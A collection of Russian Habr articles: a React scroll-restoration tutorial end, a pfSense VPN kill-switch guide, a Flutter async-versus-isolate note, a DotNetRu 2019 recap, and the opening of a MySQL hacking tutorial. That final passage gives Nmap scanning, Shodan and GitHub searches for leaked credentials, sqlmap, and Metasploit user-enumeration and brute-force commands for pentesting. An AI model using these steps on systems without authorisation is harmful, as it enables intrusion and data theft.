const onRenderCallback = useCallback(() => {
countRender.current++;
// если countInit совпадает с countRender то вызываем onRender
if (countInit.current === countRender.current) {
if (onRender) {
onRender();
}
}
}, [onRender]);
// оборачиваем value через useState чтобы ссылка была постоянной
const [value] = useState(() => ({
onInit: onInitCallback,
onRender: onRenderCallback
}));
return (
{props.children}
);
}
```
Компонент RenderContextProvider принимает параметр onRender (сокращение от onRenderChildrenComplete) - событие завершения рендеринга всех дочерних компонентов.
```
// RenderUse.js
import { useCallback, useContext, useLayoutEffect, useRef } from "react";
import RenderContext from "./RenderContext";
export function useLayoutRender() {
const { onInit, onRender } = useContext(RenderContext);
useLayoutEffect(() => onInit(), [onInit]);
const render = useRef(false);
const onCallbackRender = useCallback(() => {
// простая защита от повторного вызова onRender
if (render.current === false) {
render.current = true;
onRender();
}
}, [onRender]);
return () => onCallbackRender();
}
```
useLayoutRender - хук который нужно вызывать в динамическом компоненте. Этот хук вернет метод onRender - событие завершения рендеринга.
После подключения хука в нем будет вызван инкримент счетчика countInit. А после завершения рендеринга в компоненте будет вызвано событие onRender и тем самым значения счетчика countRender совпадет со значением счетчика countInit. При совпадении этих значений произойдет вызова события onRenderChildrenComplete.
Пример реализации:
```
import { useCallback, useEffect, useLayoutEffect, useState } from "react";
import RenderContextProvider from "./RenderContextProvider";
import { useLayoutRender } from "./RenderUse";
import "./styles.css";
function DynamicBlock() {
const src = useState(
() =>
"https://hsto.org/webt/ow/wu/bm/owwubmq_kdfpalevoql9vhhryl8.jpeg" +
"?t=" +
Math.random().toString().substring(2)
);
const onRender = useLayoutRender();
const onLoadComplite = useCallback(
(img) => {
if (img.target.complete) {
onRender();
}
},
[onRender]
);
return ;
}
export default function App() {
const [scroll, setScroll] = useState(0);
const onScroll = useCallback(() => setScroll(Math.round(window.scrollY)), []);
useEffect(() => {
onScroll();
window.addEventListener("scroll", onScroll);
return () => window.removeEventListener("scroll", onScroll);
}, [onScroll]);
const onCallbackRender = useCallback(() => {
window.scrollTo(0, 1000);
}, []);
return (
1. Start editing to see some magic happen!
------------------------------------------
2. Start editing to see some magic happen!
------------------------------------------
3. Start editing to see some magic happen!
------------------------------------------
4. Start editing to see some magic happen!
------------------------------------------
5. Start editing to see some magic happen!
------------------------------------------
{scroll}
);
}
```
Финальный результат:
После загрузке всех картинок на странице происходит вызов метода, в котором запускается позиционирование скролла.
Конечно в реальных проектах могут быть совершенно разные динамические компоненты, намного сложнее приведенного примера с картинками. Здесь так же может идти речь о компонентах, которые нуждается в дополнительном fetch. Но тем не менее, описанный выше способ позволяет решить и эти проблемы.
Резюме
------
Контролировать положение скролла непросто. Велика вероятность получить сайд эффект или потерю положения скролла если делать позиционирование не в нужный момент. В мире React эту проблему можно решить и получить возможность корректного восстановления скролла для SPA сайтов. Пример в статье с картинками явно показывает что даже в случае нескольких динамических компонентов, событие завершения рендеринга всех дочерних компонентов отрабатывает корректно.
Приведенный мною код не решает всех проблем динамического рендеринга. Здесь по-прежнему остается просто поле скрытых нюансов, каждый из которых характерен для конкретной задачи. | https://habr.com/ru/post/589177/ | null | ru | null |
# Анонимный VPN роутер на pfSense
Итак, у нас есть туннель до VPN-провайдера и мы хотим быть уверены что весь трафик, включая DNS запросы, идёт только через этот туннель, а в случае его недоступности пользователи ни в коем случае не должны выходить напрямую через сеть провайдера. Установлена pfSense CE версии 2.6.0, регистрация на CyberGhost пройдена - поехали.
CyberGhost
----------
У вас может быть и другой VPN-провайдер,- CyberGhost выбран ввиду простоты настройки и для демонстрации настройки получения DNS серверов при подключении. Если в вашей стране не заблокирован ExpressVPN, то настройки будут практически идентичны.
Регистрация пройдена, оплачено нужное количество месяцев. На странице VPN > Управление устройствами выбираем Ручная установка -> Настроить устройство. В появившемся окне в качестве протокола выбираем просто OpenVPN, какую хочется страну и группу серверов. Называем это pfSense.
Далее на странице VPN > Управление устройствами видим pfSense в списке активных VPN-устройств. Нажимаем на "просмотреть" в новом окне и скачиваем архив с конфигураций. Username и Password нам также пригодятся при настройке клиента.
Сертификаты
-----------
Распаковываем скачанный архив pfsense\_openvpn.zip и видим там несколько файлов. Для начала нам нужны ca.crt, client.crt и client.key.
Переходим в pfSense на страницу *System / Certificate Manager / CAs* и жмём кнопку Add.
Называем это дело GyberGhost VPN CA, выбираем в качестве метода *Import an existing Certificate Authority* и вставляем содержимое файла ca.crt данные в поле **Certificate data**. CA импортирован.
Теперь переходим на вкладку *System / Certificate Manager / Certificates,* кнопка Add, выбираем в качестве метода *Import an existing Certificate,* называем CyberGhost Client Certificate и копируем содержимое файла client.crt в поле **Certificate data**, а файла client.key - в поле **Private key data**.
Сертификат импортирован.
OpenVPN клиент
--------------
Настроим OpenVPN клиент. Жмём Add на странице VPN / OpenVPN / Clients, а также открываем содержимое файла openvpn.ovpn из архива. В моём случае это выглядит так:
```
client
remote 87-1-at.cg-dialup.net 443
dev tun
proto udp
auth-user-pass
resolv-retry infinite
redirect-gateway def1
persist-key
persist-tun
nobind
cipher AES-256-CBC
ncp-disable
auth SHA256
ping 5
ping-exit 60
ping-timer-rem
explicit-exit-notify 2
script-security 2
remote-cert-tls server
route-delay 5
verb 4
ca ca.crt
cert client.crt
key client.key
```
Начинаем заполнять поля настройки клиента. Если что-то не указано, то оставляем по умолчанию. Поехали:
* **Server host or address**: хост из строки remote, в моём случае 87-1-at.cg-dialup.net
* **Server port**: порт из строки remote, в моём случае 443
* **Description**: CyberGhost VPN
* **Username**/**Password**: копируем со страницы предварительного просмотра роутера (см. выше)
* **TLS Configuration**: убираем
* **Peer Certificate Authority**: CyberGhost VPN CA
* **Client Certificate**: CyberGhost VPN Client Certificate
* **Data Encryption Negotiation**: отключаем (строка ncp-disable)
* **Fallback Data Encryption Algorithm**: оставляем AES-256-CBC (строка cipher)
* **Auth digest algorithm**: оставляем SHA256 (строка auth)
* **Pull DNS**: позволяет использовать предоставляемый клиенту DNS, включаем
Сохраняем и на странице Status / OpenVPN проверяем что клиент подключился (Status = up):
Настройка DNS
-------------
Нашей задачей является запрет на использование публичных DNS серверов клиентами сети,- мы не хотим показывать куда ходят клиенты через VPN туннель (т.е. исключить [DNS Leak](https://en.wikipedia.org/wiki/DNS_leak)).
Для начала назначим OpenVPN интерфейс, это нам пригодится в дальнейшем. На странице *Interfaces / Interface Assignments* выбираем ovpnc1 и нажимаем Add. Называем CyberGhost\_VPN, чекаем **Enable** и сохраняем.
Переходим на страницу *System / General Setup* и убираем всё из списка **DNS Servers**. Ставим галочку **DNS Server Override**, - это позволит использовать получаемый от OpenVPN сервер DNS в качестве форвардера.
Настроим DNS сервер на *Services / DNS Resolver / General Settings*. Разрешаем запросы только на LAN и loopback интерфейсах - **Network Interfaces** = LAN, Localhost. Выбираем в Outgoing Network Interfaces только CyberGhost\_VPN и ставим галочку у **DNS Query Forwarding**.
В pfSense 2.6.0 появилась важная опция - **Strict Outgoing Network Interface Binding**. Смело ставим этц галочку. Теперь, если по каким-то причинам OpenVPN не подключится/отвалится, то pfSense не будет отправлять DNS запросы через шлюз по умолчанию, исключая DNS Leak.
Исключаем DNS Leak
------------------
Вот тут начинаются хитрости. В зависимости от типа подключения к провайдеру нам нужно произвести разные настройки чтобы исключить попадание провайдерских DNS в список форвардеров,- иначе при отвале VPN'а все DNS запросы пойду через следующий по приоритету DNS, т.е. тот что мы автоматически получаем от провайдера.
Для начала добавим на странице Services / DNS Resolver > Host Overrides адреса VPN сервера. Сперва получим их с помощью команды `dig a 87-1-at.cg-dialup.net`:
```
$ dig a 87-1-at.cg-dialup.net
...пропущено...
;; ANSWER SECTION:
87-1-at.cg-dialup.net. 30 IN A 37.19.223.231
87-1-at.cg-dialup.net. 30 IN A 37.19.223.5
87-1-at.cg-dialup.net. 30 IN A 37.19.223.10
87-1-at.cg-dialup.net. 30 IN A 37.19.223.203
87-1-at.cg-dialup.net. 30 IN A 37.19.223.32
87-1-at.cg-dialup.net. 30 IN A 37.19.223.217
87-1-at.cg-dialup.net. 30 IN A 89.187.168.165
87-1-at.cg-dialup.net. 30 IN A 37.19.223.251
87-1-at.cg-dialup.net. 30 IN A 37.19.223.8
87-1-at.cg-dialup.net. 30 IN A 37.19.223.250
```
Создадим Host Entry перечислив полученные адреса через запятую:
Если для подключения к провайдеру используется статический адрес - то по данной части всё готово, никакие другие DNS'ы кроме тех что прилетают при подключении по OpenVPN у нас не появятся.
Если же у нас **DHCP подключение** то нужно отключить приём настроек DNS через DHCP. В настройках интерфейса нет такой опции, но есть **Configuration Override**, позволяющая использовать собственный конфигурационный файл. Вот ею и воспользуемся.
Скопируем скрипт запускаемый при подключении по DHCP:
```
cp /usr/local/sbin/pfSense-dhclient-script /usr/local/sbin/pfSense-dhclient-script.nodns
```
И закомментируем в нём строки [359](https://github.com/pfsense/pfsense/blob/RELENG_2_5_2/src/usr/local/sbin/pfSense-dhclient-script#L359), [388-390](https://github.com/pfsense/pfsense/blob/RELENG_2_5_2/src/usr/local/sbin/pfSense-dhclient-script#L388-L390). Скопируем автоматически сгенерированный конфиг DHCP клиента:
```
cp /var/etc/dhclient_wan.conf /usr/local/etc/nodns_dhcp.conf
```
И поменяем там лишь строку `script`:
```
script "/usr/local/sbin/pfSense-dhclient-script.nodns";
```
Указываем путь к нашему конфигу в **Configuration File Override**:
Вот и всё - теперь настройки DNS получаемые по DHCP будут игнорироваться.
А что если **PPPoE подключение**? Придётся кое-что поправить в скрипте вызываемом при подключении,- `/usr/local/sbin/ppp-linkup`. Чуть заменим [одну строку](https://github.com/pfsense/pfsense/blob/RELENG_2_5_2/src/usr/local/sbin/ppp-linkup#L49):
```
- if [ "${DNSALLOWOVERRIDE}" = "true" ]; then
+ if [ "${DNSALLOWOVERRIDE}" = "X" ]; then
```
Аналогично, теперь получаемые по PPPoE настройки DNS будут игнорироваться. Но это ещё не всё.
Тут внимательные пользователи pfSense могут спросить - а зачем все эти правки, если получаемый по OpenVPN DNS сервер будет иметь приоритет над теми что прилетают через DHCP/PPPoE? Дело в том, что если по каким-то причинам DNS сервер VPN провайдера не отвечает, то резолвер начнёт пробовать отправлять запрос к следующему по приоритету DNS серверу, и запросы пойдет мимо туннеля.
Настройка Firewall
------------------
Нужно исключить возможность использования пользователями/программами нашей локалки каких-либо других DNS серверов кроме того предоставляется VPN провайдером.
Для этого создадим правило блокирующее DNS-over-TLS трафик (853 TCP порт) на вкладке *Firewall / Rules / LAN* - Add со стрелочкой вверх(!):
* **Action**: Reject
* **Address** Family: IPv4
* **Protocol**: TCP
* **Source**/**Destination**: Any
И создадим Port Forwarding правило перенаправляющее все DNS запросы наружу на наш pfSense. Вкладка Firewall / NAT / Port Forward -> Add:
* **Interface:** LAN
* **Address Family:** IPv4
* **Protocol**: TCP/UDP
* **Destination:** *Invert match* - включить*, Type*: LAN Address
* **Destination port range:** DNS
* **Redirect target IP:** LAN address
* **Redirect target port**: DNS
* **Filter rule association:** Add associated filter rule
Теперь нам нужно настроить фаервол так, чтобы при падении VPN туннеля наши пользователи не побежали неожиданно через сеть провайдера.
На странице System / Advanced / Miscellaneous включаем **Skip rules when gateway is down**, - это нужно для того, чтобы при отвале VPN'а не создавались правила использующие шлюз этого VPN. В этом случае правила как бы "не будет", а следом нет и других правил,- соответственно deny, трафик будет дропаться.
Создадим же само правило (Add со стрелочкой вниз):
* **Action**: Pass
* **Interface:** LAN
* **Address Family**: IPv4
* **Protocol**: Any
* **Source:** LAN net
* **Destination**: Any
* **Advanced Options** / **Gateway**: CYBERGHOST\_VPN\_VPNV4
Итого у нас должен получиться следующий порядок правил:
Настроим Outbound NAT для клиентов локальной сети. На Firewall / NAT / Outbound переключаем **Mode** в "Hybrid Outbound NAT rule generation" и нажимаем Save. Теперь можно добавить следующее правило:
* **Interface:** CYBERGHOST\_VPN
* **Address Family**:IPv4
* **Protocol**: any
* **Source**: адрес нашей LAN сети, в моём случае - 192.168.3.0/24
* **Destination**: Any
* **Address:** Interface Address
Теперь IP адреса хостов LAN сети попадая в туннель будут автоматически транслироваться в адрес OpenVPN-интерфейса (маскарадинг).
Настройка pfBlockerNG
---------------------
Подробнее про настройку этого чудо-блокировщика я уже [писал ранее](https://habr.com/ru/post/580978/), поэтому пробежимся только по тому что нам от него нужно. Для начала установим пакет pfBlockerNG-devel через *System / Package Manager / Available Packages*, сделаем дефолтную настройку с помощь визарда на *Firewall / pfBlockerNG* и перейдём к специфичным для нас вещам.
А именно блокировке [DoH](https://ru.wikipedia.org/wiki/DNS_%D0%BF%D0%BE%D0%B2%D0%B5%D1%80%D1%85_HTTPS) серверов. На странице *Firewall / pfBlockerNG / DNSBL / DNSBL SafeSearch* переводим **DoH/DoT Blocking** в Enable и выбираем через Ctrl+A все сервера в **DoH/DoT Blocking List.**
В принципе, это основное что нам нужно от pfBlockerNG - исключить DNS leak через DoH сервера. При желании можно настроить фиды для блокировки IP или DNS адресов, например использовать фиды из категории Firebog\_Trackers для блока трек-адресов или блокировать рекламу с помощью Firebog\_Advertisement, ADs и Easylist фидов.
Не забываем запустить *Force / DNSBL на Firewall / pfBlockerNG / Update* для применения изменений.
Готово
------
Проверяем: <https://www.cyberghostvpn.com/ru_RU/dns-leak-test>
Можно дополнительно проверить что трафик не пойдёт мимо VPN'а если тот отвалится,- просто остановите OpenVPN клиент на *Status / OpenVPN* (иконка с "кирпичиком") и убедитесь что клиенты даже не смогут ничего пинговать по IP адресу.
Как уже говорилось в начале, данная конфигурация применима и к другим VPN провайдерам работающим по OpenVPN, незначительные отличия могут быть лишь в правильной "интерпретации" .ovpn конфига и для настройки OpenVPN клиента в pfSense.
*P.S.* *обновление 18.02.22 - добавлена информация о включении опции* ***Strict Outgoing Network Interface Binding****, появившейся в pfSense 2.6.0.* | https://habr.com/ru/post/581982/ | null | ru | null |
# Flutter. Асинхронность (async) <> параллельность (isolate). Совсем
Вступление
==========
Недавно с удивлением обнаружил, что у коллег нет полной ясности, что такое асинхронность во Flutter. Почему-то у них было представление, что если асинхронная функция правильно написана, то она не блокирует интерфейс. Пролистав, пару статей не нашел простого, полного и ясного объяснения всей этой кухни (тут все по принципу — «выберите 2 из 3-х»)). В одной статье даже прочитал, что Dart обладает некоей чудесной асинхронностью, которая позволяет отложить выполнения кода, до тех пор, пока поток не будет посвободнее (что на мой взгляд вводит немного в заблуждение) (Примечание: в комментариях [nikita\_dol](https://habr.com/ru/users/nikita_dol/) указал, что, вероятно, имелось в виду — [scheduleTask](https://api.flutter.dev/flutter/scheduler/SchedulerBinding/scheduleTask.html)).
Для кого статья
===============
Статья рассчитана на тех, кто только начинает знакомиться с Flutter, поэтому попытаюсь на простом примере в этой небольшой заметке показать, что асинхронность это всего лишь возможность выполнения кода не последовательно. Но, если у вас есть «тяжелая» функция (пусть она даже будет трижды асинхронной) она все равно заблокирует вам интерфейс. Конечно, в реальном продакте, вряд ли вы столкнетесь с такими явными проявлениями (на текущий момент процессора достаточно мощные), но понимать все-таки стоит как это работает.
Поехали
=======
И так, возьмем для экспериментов пример из документации к библиотеке [flutter\_bloc](https://pub.dev/packages/flutter_bloc). Немного модифицируем функцию "\_mapTimerStartedToState" класса timer\_bloc – закомментируем обновление счетчика чтобы не мешал:
```
Stream \_mapTimerStartedToState(TimerStarted start) async\* {
yield TimerRunInProgress(start.duration);
\_tickerSubscription?.cancel();
// \_tickerSubscription = \_ticker
// .tick(ticks: start.duration)
// .listen((duration) => add(TimerTicked(duration: duration)));
}
```
Добавим новую статическую (заранее делаем ее такой – isolate работает только с ними) функцию:
```
static Future \_heavyComput (SendPort sendPort) async {
await Future.delayed(Duration(seconds: 5));
print('=======================');
print('!!!function finished!!!');
print('=======================');
return null;
}
```
Тут в качестве эмуляции тяжелых вычислений ждем окончания задержки в 5 секунд.
Модифицируем функцию mapEventToState – добавляем в конце асинхронный вызов \_heavyComput:
```
@override
Stream mapEventToState(
TimerEvent event,
) async\* {
. . .
\_heavyComput(null);
}
```
Для первого теста все готово – наша задача наблюдать за волшебными волнами.
Запускаем и видим – волны волнуются, интерфейс не блокируется, сообщение об окончании работы функции через 5 секунд выводится.
Вот она чудесная асинхронность – паника была ложной. Хм… А что если Future.delayed(Duration(seconds: 5)) заменить циклом?
```
static Future \_heavyComput(SendPort sendPort) async {
int pause = 1200000000;
for (int i = 0; i < pause; i++) {}
print('=======================');
print('!!!function finished!!!');
print('=======================');
return null;
}
```
Запускаем и все — «приехали» – волны больше не волнуются.
Думаю, тут особых объяснений не требуется: даже асинхронная тяжелая функция блокирует все. По-умолчанию весь код выполняется в одном потоке. Просто в первом случае никаких вычислений не требовалось, а требовалось просто подождать, а во втором нужны были вычисления.
Ну, и чтобы статья не получилась совсем уж микроскопической — давайте вызовем эту функцию при помощи isolate. Изменим mapEventToState:
```
@override
Stream mapEventToState(
TimerEvent event,
) async\* {
. . .
var \_receivePort = ReceivePort();
var \_isolate = Isolate.spawn(\_heavyComput, \_receivePort.sendPort);
}
```
Запускаем и видим, что интерфейс не блокируется, сообщение о завершении работы функции получаем с заметной задержкой.
На этом все (как работают async и await — есть много статей, думаю, не стоит на этом останавливаться).
Пример можно скачать по ссылке — [flutter\_timer\_async\_and\_parallels](https://github.com/tremp-m/flutter_timer_async_and_parallels.git) | https://habr.com/ru/post/541890/ | null | ru | null |
# DotNetRu. 2019. Итоги
Друзья, 2020-й не за горами. Давайте вспомним все яркие события, которые произошли в этом году с нашим метасообществом DotNetRu.
Новые города
------------
Начну, пожалуй, c самой главной цифры: за этот год количество городов в DotNetRu увеличилось с 6 до 13! К нам присоединились Омск, Нижний Новгород, Уфа, Самара, Пенза, Краснодар и Екатеринбург. Если вы хотите прийти на митап или тем более выступить с докладом, все явки-пароли на нашем [сайте](https://dotnet.ru/communities).
Митапы
------
Мы провели 60 встреч, на которых почти сотня спикеров рассказывали об [архитектуре](https://www.youtube.com/watch?v=WXelYPjwmk0), [микросервисах](https://www.youtube.com/watch?v=2Iw-u-mvYAY), [БД](https://www.youtube.com/watch?v=E8EwG3RE1XE) и [ORM](https://www.youtube.com/watch?v=jhslgsUJrjw), [функциональщине](https://www.youtube.com/watch?v=o2G22AIhplU), [инфраструктуре](https://www.youtube.com/watch?v=qe_a8sdC1Hk), [тестировании](https://www.youtube.com/watch?v=5gCvcUcctuU) и [многом](https://www.youtube.com/watch?v=jLBUk1hvLoU), [многом](https://www.youtube.com/watch?v=r16Zx591LJs) [другом](https://www.youtube.com/watch?v=bF0JhYxeg7I). [Отдельно](https://www.youtube.com/watch?v=Fw2trz2HMvE) [отмечу](https://www.youtube.com/watch?v=bYBbhqvC26Y) [доклады](https://www.youtube.com/watch?v=tNtqXpilOj4) с [митапов](https://www.youtube.com/watch?v=s-0FXVP9w8w), приуроченных к DotNext 2019 Piter и Moscow. Как говорится, подписывайтесь на наш [канал](https://www.youtube.com/dotnetru), ставьте лайки.
Глобальные встречи
------------------
В этом году состоялось целых три глобальных встречи сообществ DotNetRu!
#### DotNetRu-3 (DotNext 2019 Piter)
Народу на DotNext Piter пришло много, местами на выставке было не протолкнуться.
А вдали от толчеи, в закутке расположился наш уютный стенд с воздушными шариками фирменной расцветки. Оба дня там проходили разные [активности](https://habr.com/ru/company/jugru/blog/450712).
Провели викторину.
Пообщались на круглых столах.
Разыграли призы.
А еще впервые был запущен тотализатор на место в рейтинге докладчиков конференции. Каждый участник получал 1000 баллов, которые он распределял в виде ставок. Можно было делать ставки как на определенное место в рейтинге (с 1 по 10), так и на попадание в топ-3, топ-5 и топ-10. В итоге победил Максим Шошин ([max\_shoshin](https://habr.com/ru/users/max_shoshin/)), который первым поставил всё на Сергея Абдульманова ([Milfgard](https://habr.com/ru/users/milfgard/)). Ему и достался главный приз – книга Андрея Акиньшина ([DreamWalker](https://habr.com/ru/users/dreamwalker/)) [«Pro .NET Benchmarking»](https://www.amazon.com/Pro-NET-Benchmarking-Performance-Measurement/dp/1484249402).
#### DotNetRu-4 (TechTrain 2019)
[TechTrain](https://techtrain.ru/) – совсем юное мероприятие, ему всего два годика. Но кажется, что он был всегда – настолько привычно уже в конце августа приехать в Экспофорум и влиться в двухтысячную толпу участников фестиваля. В этот раз стенды сообществ и конференций объединились, так что и наш стенд был совместный: DotNetRu + DotNext.
DotNetRu – это прежде всего про профессиональное общение. А что может быть лучше хорошего доклада?
Только круглый стол! Правда, на этот раз круглые столы были больше похожи на стендап. Обсуждали всё: от хранилищ данных до технических интервью.
Проверить эрудицию и выиграть призы можно было в наших викторинах.
Год назад мы спонтанно устроили [конкурс стихов](https://vk.com/@dotnetru-techtrain-2018-stihi) про .NET и Программистов. Идея настолько хорошо зашла, что мы поняли: нас окружают творческие люди, надо ~~выходить из окружения~~ продолжать в том же духе. И продолжили конкурсом рисунков «Нарисуй ITшника».
Никита Данилов ([Nikita\_Danilov](https://habr.com/ru/users/nikita_danilov/)) терпеливо объяснял каждому подошедшему задачу, выдавал листочек, маркеры, а получившийся результат добавлял на стену.
Итог впечатляет – больше сотни рисунков! Когда-нибудь у нас будет свой зал в Эрмитаже, а пока эта уникальная коллекция выставлена в [нашей группе](https://vk.com/album-144195266_267483886).
#### DotNetRu-5 (DotNext 2019 Moscow)
Два месяца пролетели незаметно, и вот мы вновь на DotNext, но уже в Москве.
На викторинах было как всегда многолюдно.
Круглые столы тоже были, как без них. Дмитрий Сошников ([shwars](https://habr.com/ru/users/shwars/)) и Роман Неволин ([nevoroman](https://habr.com/ru/users/nevoroman/)) подняли тему машинного обучения.
Никита Цуканов ([kekekeks](https://habr.com/ru/users/kekekeks/)) рассказывал новости из мира Авалонии.
Евгений Ледовский сравнил NuGet и git submodules в контексте общих библиотек на проекте.
Вишенкой на торте первого дня конференции стала игра «Что? Где? Когда?».
Второй день конференции ознаменовался пополнением в наших рядах. Те, кто не верят в 20-летних синьоров – как вам такое? Человек начал ходить на конференции до того, как начал ходить!
Спасибо Юле Цисык, что заглянула к нам :)
Подкасты
--------
Подкасту [DotNet & More](https://vk.com/dotnetmore) в ноябре стукнул годик. Но как возраст младенцев измеряют обычно в месяцах, а не в годах, так и для подкаста более говорящим будет количество выпусков. DotNet & More добрались до цифры 26, из которых 22 было записано в этом году. Потрясающая продуктивность!
У подкаста [RadioDotNet](https://radio.dotnet.ru/), стартовавшего в мае 2019, выпусков пока не так много. Но это тот случай, когда редко, но метко. Ведь его ведущие – это бессменные участники программного комитета DotNext, а значит, вас ждёт эксклюзивная информация от топовых экспертов.
В заключение
------------
Спасибо всем, кто был с нами в этом году: партнерам и участникам митапов и конференций, спикерам, лидерам и активистам сообществ! Пусть в новом году вас окружает ещё больше активных и интересных людей, до встречи на наших митапах!
И да, если вашего города нет в [этом](https://dotnet.ru/communities) списке, то, возможно, именно вы тот активист, который это исправит! Пишите на [почту](mailto:hi@DotNet.Ru), в [VK](https://vk.com/dotnetru) или просто через [форму](https://dotnet.ru/communities) обратной связи (в самом-самом низу). Поможем, расскажем.
> А наша следующая, шестая глобальная встреча состоится на [DotNext 2020 Piter](https://dotnext-piter.ru/?utm_source=habr&utm_medium=dotnetru&utm_campaign=dotnext20piter). Учитывая звездный состав спикеров (Джон Скит, Андрей Акиньшин и другие), о [билетах](https://dotnext-piter.ru/registration/?utm_source=habr&utm_medium=dotnetru&utm_campaign=dotnext20piter) стоит позаботиться заранее — тем более что специально для участников сообщества действует промокод на Personal-билеты `dotnetru20spb0stke51pc`. Ждём вас на нашем стенде! | https://habr.com/ru/post/482428/ | null | ru | null |
# Играем мускулами. Методы и средства взлома баз данных MySQL
MySQL — одна из самых распространенных СУБД. Ее можно встретить повсюду, но наиболее часто она используется многочисленными сайтами. Именно поэтому безопасность базы данных — очень важный вопрос, ибо если злоумышленник получил доступ к базе, то есть большая вероятность, что он скомпрометирует не только ресурс, но и всю локальную сеть. Поэтому я решил собрать всю полезную инфу по взлому и постэксплуатации MySQL, все трюки и приемы, которые используются при проведении пентестов, чтобы ты смог проверить свою СУБД. 0day-техник тут не будет: кто-то еще раз повторит теорию, а кто-то почерпнет что-то новое. Итак, поехали!
#### Вместо предисловия
Начнем с определения. MySQL — это реляционная система управления базами данных, которая обладает разными движками хранения данных: MyISAM, InnoDB, Archive и другими. Как и у большинства open source проектов, у нее существуют свои ответвления, например MariaDB. Забегая вперед, скажу, что большинство рассмотренных векторов/техник/багов распространяется на различные движки и на ответвления, правда не всегда.
> #### WWW
>
>
>
> Различные версии MySQL под разные платформы можно взять [тут](http://olex.openlogic.com/packages/mysql/)
#### Поиск жертв
Но перейдем непосредственно к делу. Для того чтобы кого-нибудь поломать, нужно его для начала найти. Допустим, что мы уже знаем, кто наша жертва, знаем его IP либо находимся в его локальной сети. Нам нужно просканировать его адрес (сеть) на наличие открытых портов. По стандарту MySQL использует порт 3306, его мы и будем искать. В арсенале каждого хакера должен присутствовать сканер Nmap, который позволяет находить различные сервисы, порты на целевых машинах. Пример команды для сканирования выглядит следующим образом:
```
nmap -sV -PN -p
```
* `-PN` — очень полезная вещь, указывающая программе пропускать этап обнаружения хоста и сразу переходить к сканированию портов. Это нужно в том случае, если машина не отвечает на ping-сканирование, но при этом у машины могут быть открыты порты. В таком случае без данного флага Nmap пропустит данный хост;
* `-sV` исследует открытые порты с целью получения информации о службе.
Для UDP-сканирования должен присутствовать флаг -sU.
```
nmap -sV -Pn -p 3306 172.16.2.114
Nmap scan report for 172.16.2.114
Host is up (0.00013s latency).
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL (unauthorized)
```
> #### SHODAN
>
>
>
> Если у тебя нет определенной жертвы и ты хочешь протестировать свои навыки, то можешь воспользоваться хакерским поисковиком [Shodan](http://www.shodanhq.com/). Он позволяет делать поиск по хостам и выводить информацию о различных сервисах на основе баннеров ответов. Также имеет возможность фильтровать по портам, стране, городу, операционным системам и так далее. Одна из отличнейших фишек — поиск сервисов с анонимной авторизацией или авторизацией со стандартными кредами. Очень полезный сервис, но лучше всего проводить тесты уязвимостей на своих локальных ресурсах :).
Рис. 1. Результаты поиска MySQL в Shodan
#### GitHub
Одна из крутейших фишек легкого доступа к базам данных — поиск исходников каких-либо проектов на GitHub. Прежде чем искать и раскручивать SQL Inj на сайте, что может занять достаточно длительное время (если таковые вообще присутствуют), достаточно просто зайти на всеми любимый сайт для совместной разработки, вписать пару слов и при должном везении получить доступ к сорцам. Многие разработчики в силу непонятных причин заливают свои проекты в общий доступ — может, по глупости, может, им жалко денег на приватный репозиторий, а может, они хотят поделиться со всем миром своим великолепным кодом, но на GitHub лежит огромная куча исходников, от маленьких сайтиков до больших проектов. Это зачастую сильно упрощает работу. Допустим, если мы введем такой поисковый запрос `username mysql password database`, то можно просто потерять сознание от количества результатов. Особенно много сладких PHP-файлов, в которых прописывается коннект к базе данных.
Рис. 2. Наглядные результаты по поиску кредов MySQL на GitHub
Поэтому первым делом на пентестах мы бежим и проверяем GitHub на наличие исходников клиента. Если что-то находится, то можно смело коннектиться к базе данных, после чего, отталкиваясь от прав, извлекать нужные нам данные. Но если уж получилось так, что мы не смогли найти заветных строчек username/password, не стоит отчаиваться — можно порыться в исходниках сайтов, если они присутствуют, и проводить аудит уже не вслепую, а с исходным кодом сервиса. Он значительно облегчает задачу поиска уязвимостей: теперь мы будем не просто фазить наобум, а проверять определенные векторы, выстроенные на основе исходников. Например, смотреть, в каких местах производится обращение в базу, используется ли фильтрация данных от клиента и так далее.
#### Инструментарий
Для поиска инъекций существуют разные способы: автоматически или вручную вставлять везде кавычку (фаззинг); использовать фишку с Гитхабом, уповая на неосторожность разработчиков исследуемого сервиса. И наконец настал момент истины: мы нашли нашу долгожданную инъекцию и готовы внедряться по полной. Но вот беда, у нас появились неотложные дела (друзья зовут попить пива), или нас одолела ужасная необоримая лень. Не стоит расстраиваться, на помощь придет отличная тулза [sqlmap](https://github.com/sqlmapproject/sqlmap), которая автоматизирует процесс поиска и эксплуатации SQL-инъекций, и не просто найдет дыру в безопасности, а проэксплуатирует ее по полной программе. Поддерживает все виды инъекций. Функционал sqlmap позволяет: дампить базы, автоматически искать в базе, извлекать и расшифровывать логины и пароли, запускать cmd shell, запускать интерактивный sql shell, в котором тебе нужно только писать SQL-запросы в базу, а sqlmap сам составит payload для инъекции. Существует отличный [Cheet Sheet](https://github.com/aramosf/sqlmap-cheatsheet/blob/master/sqlmap%20cheatsheet%20v1.0-SBD.pdf), который в двух страничках показывает все возможности данной тулзы.
Есть еще несколько инструментов, которые пригодятся тебе в нелегком деле покорения MySQL. В особенном представлении они не нуждаются, так как наверняка ты о них уже не раз (не одну тысячу раз) слышал. Первый — Metasploit, одна из ключевых программ для хакинга, позволяющая создавать эксплойты, проводить их отладку. Второй — сканер Nmap, про который в журнале тоже не раз писали. Информации по всем перечисленным инструментам хватает с избытком, поэтому мы не будем углубляться в детали их использования, кто их еще не юзал — обязательно должен это сделать, а Google и официальные сайты ему в этом помогут. Мы же двигаемся дальше.
#### Сбор информации
Нужно начать с самого простого — сбора информации. В Metasploit для этого служит `auxiliary/scanner/mysql/mysql\_version`, просто сканер версий, который может сканировать целый пул адресов:
```
msf > use auxiliary/scanner/mysql/mysql_version
msf auxilary(mysql_version) > set RHOSTS 172.16.2.54
msf auxilary(mysql_version) > exploit
```
В Nmap также существует модуль, который подключается к серверу и выводит разную полезную информацию: протокол, номер версии, состояние и соль.
```
nmap -sV -sC
```
#### Брутфорс
Среди основных вещей, которые приходится часто выполнять, конечно, брутфорс — проверка на слабые или стандартные пароли пользователей. Но прежде чем приступать к подбору паролей, можно провести атаку user enumeration (перечисление пользователей). Ее можно провести против серверов версии 5.x, которые поддерживают старые механизмы аутентификации (CVE-2012-5615). После сканирования мы будем знать, какие пользователи существуют в базе, что значительно сокращает пул пользователей для бруторса.
```
nmap --script mysql-enum
```
Составив наш пул имен и паролей, приступаем к бруту:
```
msf > use auxiliary/scanner/mysql/mysql_login
